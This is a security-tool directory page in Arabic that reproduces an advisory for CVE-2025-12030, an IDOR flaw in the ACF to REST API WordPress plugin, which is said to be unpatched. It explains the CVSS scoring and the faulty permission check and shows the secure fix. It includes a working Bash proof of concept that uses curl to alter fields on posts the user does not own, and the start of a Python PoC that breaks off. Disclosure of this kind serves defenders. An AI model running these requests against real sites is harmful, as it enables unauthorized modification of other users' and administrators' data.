Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/snailsploit/cve-2025-12030
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - ثغرة أمنية تتيح للمستخدمين المُصادَق عليهم بصلاحية مستوى المساهِم تعديل حقول ACF على كائنات لا يملكونها.

عرض المستودع
16منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-12030: مرجع كائن غير مباشر غير آمن في إضافة ACF إلى REST API لووردبريس

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

الكلمات المفتاحية: CVE-2025-12030، ثغرة ACF إلى REST API، IDOR، أمان ووردبريس، استغلال مصادق عليه، ثغرة إضافة ووردبريس، CWE-639، تعديل حقول ACF، تجاوز التفويض، CVE ووردبريس 2025، Advanced Custom Fields، أمان REST API

جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • التحليل الفني
  • ناقل الهجوم
  • إثبات المفهوم
  • دليل المعالجة
  • الاكتشاف
  • مقاييس CVSS
  • المراجع
  • الاعتمادات
  • جهة الاتصال الأمنية

نظرة عامة

ثغرة IDOR في إضافة ACF إلى REST API لووردبريس (CVE-2025-12030) — خلل أمني يسمح للمستخدمين المصادق عليهم بصلاحية Contributor بتعديل حقول ACF على كائنات لا يملكونها.

تم اكتشاف ثغرة مرجع كائن غير مباشر غير آمن (IDOR) في إضافة ACF إلى REST API لووردبريس، والتي تسمح للمهاجمين المصادق عليهم بصلاحيات دنيا بتعديل حقول ACF عبر كامل تثبيت ووردبريس.

اكتشفها: Kai Aizen (SnailSploit)
نُشرت في: 6 يناير 2026
درجة CVSS: 4.3 (متوسطة)
CWE: CWE-639 - تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم
الإضافة: ACF to REST API
معرّف الإضافة: acf-to-rest-api
نوع الهجوم: مرجع كائن غير مباشر غير آمن (IDOR)
الصلاحيات المطلوبة: Contributor+ (هجوم مصادق عليه)

تفاصيل الثغرة

الوصف

إضافة ACF to REST API لووردبريس عرضة لثغرة مرجع كائن غير مباشر غير آمن في جميع الإصدارات حتى 3.3.4 وما يشملها. يعود السبب إلى فحص صلاحيات غير كافٍ في طريقة update_item_permissions_check()، والتي تتحقق فقط من أن المستخدم الحالي يمتلك صلاحية edit_posts دون التحقق من الصلاحيات الخاصة بالكائن (مثل edit_post($id)، edit_user($id)، manage_options).

الأثر

تسمح هذه الثغرة للمهاجمين المصادق عليهم بصلاحية Contributor فما فوق بـ:

  • تعديل حقول ACF على منشورات لا يملكونها — تجاوز قيود ملكية المنشورات
  • تعديل حقول ACF على أي حساب مستخدم — بما في ذلك حسابات المسؤولين
  • تعديل حقول ACF على التعليقات — تغيير بيانات التعليقات الوصفية
  • تعديل حقول ACF على مصطلحات التصنيفات — تغيير الحقول المخصصة للتصنيفات/الوسوم
  • تعديل صفحة الخيارات العامة — الوصول إلى خيارات ACF على مستوى الموقع دون صلاحية manage_options

جميع التعديلات ممكنة عبر نقاط نهاية REST API /wp-json/acf/v3/{type}/{id}.

الإصدارات المتأثرة

  • الضعيفة: جميع الإصدارات ≤ 3.3.4
  • المصححة: ⚠️ لا يوجد تصحيح معروف متاح

مقاييس CVSS v3.1```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

| Metric | Value |
|--------|-------|
| ناقل الهجوم | شبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الامتيازات المطلوبة | منخفض (PR:L) |
| تفاعل المستخدم | لا شيء (UI:N) |
| النطاق | غير متغير (S:U) |
| السرية | لا شيء (C:N) |
| السلامة | منخفض (I:L) |
| التوفر | لا شيء (A:N) |

**تفصيل CVSS v3.1:**

- **ناقل الهجوم (AV):** شبكة - يمكن استغلال الثغرة عن بُعد عبر الشبكة
- **تعقيد الهجوم (AC):** منخفض - لا تتطلب الاستغلال شروطًا خاصة
- **الامتيازات المطلوبة (PR):** منخفض - يتطلب مصادقة بمستوى المساهم (Contributor)
- **تفاعل المستخدم (UI):** لا شيء - يعمل الاستغلال دون أي تفاعل من المستخدم
- **النطاق (S):** غير متغير - تؤثر الثغرة فقط على المكوّن المعرض للخطر
- **أثر السرية (C):** لا شيء - لا تسريب للمعلومات
- **أثر السلامة (I):** منخفض - تعديل غير مصرح به لحقول ACF
- **أثر التوفر (A):** لا شيء - لا تأثير على التوفر

## التفاصيل الفنية

### السبب الجذري للثغرة

توجد الثغرة في طريقة `update_item_permissions_check()` التي تقوم بتحقق غير كافٍ من الصلاحيات:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

يجب أن يتحقق التنفيذ السليم من الأذونات الخاصة بالكائن:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

### نقاط النهاية القابلة للاستغلال

| نقطة النهاية | الهدف | الصلاحية المطلوبة (يجب أن تكون) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | المقالات | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | الصفحات | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | المستخدمون | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | التعليقات | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | المصطلحات | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | الخيارات | `manage_options` |

### ناقل الهجوم```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

يمكن استغلال الثغرة عبر WordPress REST API من قبل أي مستخدم مُصادَق عليه يملك دور Contributor على الأقل.

إثبات المفهوم

⚠️ لأغراض تعليمية واختبارات مُصرَّح بها فقط

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64
تنزيل الأداة